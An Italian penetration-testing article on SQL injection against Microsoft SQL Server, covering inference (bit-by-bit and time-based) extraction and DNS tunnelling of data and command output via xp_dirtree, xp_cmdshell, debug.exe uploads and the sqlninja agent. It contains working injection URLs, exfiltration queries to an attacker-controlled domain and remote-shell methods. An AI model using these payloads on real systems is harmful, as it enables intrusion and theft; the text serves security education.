Gli attacchi di tipo SQL Injection sono ben noti da vari anni nella

comunità, sia in termini di modalità di esecuzione, sia in termini di

impatto. Un attacco riuscito può avere molteplici conseguenze, che

vanno dal mettere in pericolo la confidenzialità e integrità dei dati

immagazzinati nel DB, al consentire il bypass di sistemi di

autenticazione, fino in molti casi permettere all’intruso di impartire

comandi direttamente al sistema operativo, trasformando quindi una

vulnerabilità di tipo applicativo in una porta di accesso

all’infrastruttura.

In questo articolo ci concentreremo su Microsoft SQL Server, e dopo un

breve accenno alle tecniche di SQL Injection basata su inference

analizzeremo la possibilità di utilizzare il protocollo DNS per creare

un tunnel che trasporti i dati cercati, siano essi tabelle del DB o i

risultati di un comando impartito al sistema operativo sottostante.

L’articolo è ovviamente rivolto ai penetration tester e a chiunque

altro possa sperimentare con questi concetti in maniera legale.

Si assume una buona conoscenza di SQL Server, di TSQL (il «dialetto» SQL

di Microsoft) e delle tecniche di blind SQL Injection, oltre che un

minimo di dimestichezza con il protocollo DNS.

In-band, Out-of-Band, Inference…

In molti casi, le modalità di exploiting possono risultare molto

semplici: immettere semplicemente la stringa ' or 'a'='a in un input

field può talvolta essere sufficiente per aggirare una pagina di login.

Altre volte, aggiungere una UNION SELECT ad una query può facilmente

garantirci l’accesso ad una qualsiasi tabella del database. In altri

casi, infine, basta una chiamata a xp_cmdshell (una ben nota extended

procedure che consente di impartire comandi al sistema operativo) per

avere l’output dei nostri comandi direttamente nella pagina HTML. In

tutti questi casi, i dati cercati vengono restituiti all’interno della

stessa connessione HTTP utilizzata per l’injection e in genere si parla

di «in-band injection».

In altre situazioni, quando non è possibile ottenere i dati

direttamente nella pagina HTML, è possibile avviare una seconda

connessione che consenta il trasferimento dell’informazione, e si parla

in questo caso di “out-of-band injection”: è possibile per esempio

utilizzare OPENROWSET , un comando che consente ad un DB Server di

connettersi ad un altro DB Server per scambiare dati. L’intruso dovrà

semplicemente avere una istanza di SQL Server in ascolto sulla sua

macchina e dire al DB Server attaccato come collegarsi ad essa.

Nel caso invece in cui si stia puntando ad una shell sul sistema

operativo, è possibile creare, sempre con xp_cmdshell , un FTP script

che, una volta lanciato, scarichi netcat.exe e lanci una shell diretta o

inversa. Nel primo caso netcat si metterà in ascolto su una porta in

locale, nel secondo contatterà invece una porta in ascolto sulla

macchina che effettua l’attacco.

E’ però importante notare che questi scenari appena descritti non sono

possibili laddove vi sia un firewall che filtri tali connessioni, ed è

in questi casi più “estremi” che viene utilizzato il terzo tipo di

attacco, quello «inference based».

Le tecniche basate su inferenza sono state abbondantemente illustrate

già nel 2005 da David Litchfield. In

questo tipo di attacco, non avviene alcun trasferimento effettivo di

dati: l’informazione viene “estratta” (di solito un bit alla volta)

iniettando una serie di query e osservando il comportamento del DB

server remoto.

Questo tipo di attacco non è strettamente l’argomento dell’articolo, e

per i dettagli vi rimando al link riportato sopra, ma la sua eleganza

merita almeno un esempio. Diciamo di avere a che fare con una pagina asp

vulnerabile nel suo parametro numerico a , e ipotizziamo che le

seguenti richieste restituiscano pagine in un qualche modo diverse:

https://www.victim.com/vuln.asp?a=1 https://www.victim.com/vuln.asp?a=2

L’idea consiste nell’iniettare nel parametro a una query che vada a

misurare il valore di un bit di informazione a cui siamo interessati, e

a seconda del valore di tale bit faccia sì che a valga 1 oppure 2. La

pagina che otterremo in risposta ci permetterà a quel punto di

stabilire il valore di tale bit. Ammettendo, ad esempio. di voler

estrarre il nome dell’utente che sta effettuando le query, potremo

utilizzare, per generare il parametro a , la seguente query:

1 + select (ascii(substring((select system_user),1,1))&1)

che, nel nostro URL, diventa:

https://www.victim.com?a=1%2Bselect+(ascii(substring((select+system_user),1,1))%261)

Cosa succede qui? Analizziamo a partire dalle parentesi più interne.

Per prima cosa, estraiamo il nome dell’utente con select system_user .

Da questo nome, estraiamo il primo carattere con substring() . Di tale

carattere troviamo il valore numerico con ascii() . Mettiamo infine

questo valore in bitwise AND con 1 per trovare il valore del bit meno

significativo. A seconda che il valore di questo bit sia 0 o 1, a

varrà rispettivamente 1 o 2, e quindi riceveremo la risposta al primo o

al secondo degli URL sopra menzionati, permettendoci di stabilire il

valore di questo bit. Che non è male, ma siccome un bit da solo è poco

utile, dovremo ripetere la procedura per gli altri bit di questo

carattere. Poi passare al secondo carattere e così via.

Le cose si complicano ulteriormente se la risposta del server è

identica indipendentemente dal valore del parametro vulnerabile: in

questo caso non è più possibile ricostruire il dato a partire dal

codice HTML ricevuto, ma possiamo legare il suo valore ad altre entità,

ad esempio il tempo che ci mette il nostro server a rispondere alla

richiesta, come nel caso seguente:

https://www.victim.com/vuln.asp?a=1;if+ascii(substring((select+system_user),1,1)%261>0+waitfor+delay+'0:0:3'

Analizziamo questa richiesta: Microsoft SQL Server (bontà sua) ci

consente di effettuare più query in batch separandole da un punto e

virgola. In questo caso, iniettiamo una nuova query che andrà ad

estrarre lo stesso bit cercato prima. La differenza è che, se il bit ha

valore 1, il DB dovrà aspettare 3 secondi prima di rispondere. Ecco

quindi che, misurando il tempo che ci mette la nostra applicazione a

rispondere alla nostra richiesta, possiamo di nuovo estrarre i dati cercati.

È evidente che un sistema simile può andare bene per estrarre

quantità limitate di informazione, ma non per effettuare il dump di

interi database. Ammettendo che il valore di un bit sia 1 o 0 con uguale

probabilità, ci troviamo ad aver bisogno in media di 1.5 secondi per

estrarne uno. Potremmo diminuire l’argomento di WAITFOR DELAY , ma con il

serio rischio di introdurre errori dovuti alla latenza di rete.

DNS is your friend!

Ed è per risolvere questo problema di efficienza che, finalmente,

veniamo al cuore di questo articolo, in cui andiamo a descrivere un

altro possibile approccio, che può essere definito «out-of-band» ma che

non ha bisogno di alcuna connessione diretta tra noi e il DB Server.

L’idea consiste nell’utilizzare il protocollo DNS per creare un tunnel

che ci invii i dati cercati. Il primo a studiare le potenzialità di

questo protocollo per trasportare dati è stato Dan Kaminsky,

e in questa sede vedremo due delle tante

implementazioni di questo concetto: la prima è stata esposta per la

prima volta da Patrik Karlsson a Defcon15 mentre la

seconda è quella utilizzata dal tool sqlninja.

Due prerequisiti per poter utilizzare con successo questa tecnica:

la macchina da cui effettuiamo l’attacco deve essere DNS autoritativo per un dominio (es.: stacktrace.it ) il DNS Server del DB che stiamo attaccando deve poter risolvere domini esterni

La prima condizione è facile da ottenere, con un investimento di pochi

euro. La seconda sfugge ovviamente al nostro controllo, ma

fortunatamente (o sfortunatamente, dipende dai punti di vista) sono

poche le reti in cui i DNS interni non sono autorizzati a risolvere

domini arbitrari.

L’idea è di iniettare una query che faccia, nell’ordine, le seguenti

azioni:

estrarre il dato da inviare, nel nostro caso il nome

dell’utente (es.: sa , l’utente amministrativo di

default su SQL Server) creare un hostname composto dal dato stesso e dal dominio sotto controllo

(quindi, nel nostro esempio, sa.stacktrace.it ) in qualche modo, costringere il DB Server a cercare di risolvere quel nome

Questo genererà una richiesta da parte del DB Server al DNS locale, che

a sua volta effettuerà un forward all’indirizzo IP autoritativo per il

dominio stacktrace.it , ovvero la nostra macchina, la quale non dovrà

fare altro che restare in ascolto sulla porta 53, ricevere la richiesta

ed estrarre il dato cercato dalla richiesta.

Ci sono vari modi per far generare la richiesta al DNS Server: uno dei

più semplici è offerto da xp_dirtree , una extended procedure di SQL

Server che restituisce, sotto forma di lista, l’albero delle directory

che dipendono dalla directory passata come parametro alla procedura,

come nel seguente esempio:

exec master..xp_dirtree 'C:\'

Quello che rende xp_dirtree estremamente utile è che può essere

eseguita da qualsiasi utente indipendentemente dai suoi privilegi, e che

il parametro di input può contenere un host remoto, come nel seguente

esempio:

exec master..xp_dirtree '\www.stacktrace.it\c:\'

Lanciare una query di questo tipo constringerà il DB server a cercare

di risolvere l’host www.stacktrace.it , generando quindi una richiesta

DNS che verrà inoltrata al DNS Server autoritativo per il dominio

stacktrace.it.

Riassumendo, per avere il nome dell’utente remoto, potremo semplicemente

iniettare la seguente query:

exec master..xp_dirtree '\'+(select system_user)+'.stacktrace.it\c:\'

che, inserita nell’URL con l’encoding richiesto, diventa:

https://www.victim.com/vuln.asp?a=1;exec+master..xp_dirtree+%27%5C%5C%27%2B%28select+system_user%29%2B%27.stacktrace.it%5Cc%3A%5C%27

Semplice no? Certo, ma ci sono un pò di complicazioni che devono essere

risolte per poter utilizzare questa tecnica in via un pò più generale.

L’esempio appena visto risolve infatti un caso estremamente semplice, e

in un caso reale dovremo tenere conto delle seguenti problematiche:

un hostname può contenere al massimo 255 caratteri; se vogliamo

trasferire maggiori quantità di dati è necessario utilizzare

più richieste ogni segmento dell’hostname (ad esempio la stringa stacktrace in

sa.stacktrace.it può essere al massimo 63 caratteri; quindi,

per usare nomi così lunghi, dovremo fare attenzione ad

interporre dei dot ( . ) nelle posizioni giuste un hostname è case-insensitive e può contenere solo caratteri

alfanumerici e il carattere - ; se il dato che

vogliamo trasferire contiene altri caratteri, per ottenere un

domain name che sia corretto dovremo pensare ad una qualche codifica

Con qualche riga di codice, la cosa non è troppo difficile: Patrik

Karlsson risolve la cosa con del semplice TSQL, e per i dettagli vi

rimando alla sua presentazione.

Noi qui ci concentreremo sull’implementazione di sqlninja, che punta

invece all’ottenimento di una shell sul DB remoto e che utilizza, per

il tunneling DNS dei risultati dei vari comandi, un eseguibile ad-hoc

che fa da agente remoto ( dnstun.exe ).

Ma qui incontriamo un ulteriore problema: come trasferire un eseguibile

se, come abbiamo detto, il firewall non consente alcuna connessione che

non sia HTTP? La risposta è DEBUG.EXE , il debugger di Windows che è

installato di default in tutti i sistemi operativi Microsoft. Non

entriamo troppo nei dettagli per non andare fuori tema (magari se ne

parlerà in maniera più approfondita in un altro articolo), ma questo

tool ha il pregio di poter ricevere in input uno script con la

successione di comandi desiderata.

In particolare, noi utilizzeremo uno script che opererà in questo modo:

aprirà un nuovo file (che diventerà il nostro eseguibile) scriverà in memoria i byte dell’eseguibile, nelle locazioni corrispondenti salverà il file su disco, pronto per essere utilizzato

Per farvi un’idea, un esempio di tale script (che crea il file

netcat.exe ) è disponibile sul sito di sqlninja.

Uno script simile può essere generato facilmente a partire

dall’eseguibile corrispondente utilizzando numerosi tool disponibili in

rete (per esempio l’eccellente dbgtool.exe), e può essere inviato, riga per riga, sul DB remoto

con una serie di xp_cmdshell .

L’upload, quindi, seguirà i seguenti step. Innanzitutto, viene

trasferito l’intero script, riga per riga:

https://www.victim.com/vuln.asp?a=1;exec+master..xp_cmdshell+'echo+n+dnstun.com+>+dnstun.scr' https://www.victim.com/vuln.asp?a=1;exec+master..xp_cmdshell+'echo+r+cx+>>+dnstun.scr' .....

Poi viene lanciato debug.exe, con lo script in input:

https://www.victim.com/vuln.asp?a=1;exec+master..xp_cmdshell+'debug.exe+<+dnstun.scr'

Infine, non resta che rinominare il file (perchè debug.exe si rifiuta

di operare direttamente su file .exe )

https://www.victim.com/vuln.asp?a=1;exec+master..xp_cmdshell+'ren+dnstun.com+dnstun.exe'

Complicato? Fortunatamente sqlninja fa tutto in maniera automatizzata, e

questo ci consente di tornare ad occuparci di cosa deve fare il nostro

agente remoto. I passi che vengono seguiti sono (con qualche

approssimazione) i seguenti:

il comando da eseguire (per esempio, dir C:\ ) viene passato via

SQL Injection a dnstun.exe , insieme al dominio da utilizzare per il

tunnel e la lunghezza degli hostname da usare: https://www.victim.com/vuln.asp?a=1;exec+master..xp_cmdshell+'dnstun.exe+stacktrace.it+255+dir+c:\' dnstun.exe usa CreateProcess() per lanciare il comando e usa una

pipe per intercettare il suo output man mano che l’output arriva sulla pipe, questo viene codificato

in Base32 (anzi, una sua versione leggermente modificata): viste le

limitazioni che abbiamo nei caratteri che possono costituire un

hostname, possiamo trasferire al massimo 5 bit per carattere; per non

dover spendere spazio in padding, vengono codificati chunk di output la

cui lunghezza è un multiplo esatto di 5 La versione codificata dell’output viene utilizzata per creare gli

hostname da risolvere; all’inizio di ogni hostname viene inoltre

aggiunto un contatore (perchè le richieste, una volta ricevute, possano

essere riordinate) e una flag che segnala se la richiesta corrente è

l’ultima o se ne devono essere attese altre per ogni hostname generato in questo modo, viene semplicemente

chiamata gethostbyname() , che penserà a tutto il resto

In Figura 1 vediamo le richieste effettuate. Per chiarezza, abbiamo

utilizzato hostname di soli 64 caratteri totali. Nel dettaglio:

l’alfabeto utilizzato per codificare l’output del comando usa le lettere da

‘a’ a ‘z’, più i numeri da 0 a 5, per un totale di 32 simboli

‘a’ a ‘z’, più i numeri da 0 a 5, per un totale di 32 simboli il primo carattere fa da contatore, ciclando in questo caso da ‘a’

ad ‘s’; ovviamente il contatore deve essere in grado di utilizzare più

caratteri, se il numero di richieste lo richiede

ad ‘s’; ovviamente il contatore deve essere in grado di utilizzare più caratteri, se il numero di richieste lo richiede il secondo carattere ha sempre valore ‘8’, che indica che altri

pacchetti sono in arrivo; l’ultimo pacchetto ha invece valore ‘9’

pacchetti sono in arrivo; l’ultimo pacchetto ha invece valore ‘9’ il resto dell’hostname contiene il risultato del comando. L’ultimo

pacchetto contiene anche una serie di ‘7’, il cui simbolo viene

utilizzato per il padding

Figura 1. Dump da Wireshark.

Infine in Figura 2 vediamo la decodifica:

Figura 2. Utilizzo di sqlninja.

Bingo! E tutto in meno di un secondo, contro i minuti che sarebbero

stati necessari per eseguire il comando, salvarne l’output in una

tabella temporanea, ed estrarne i contenuti un bit alla volta con

tecniche di inference.

Conclusioni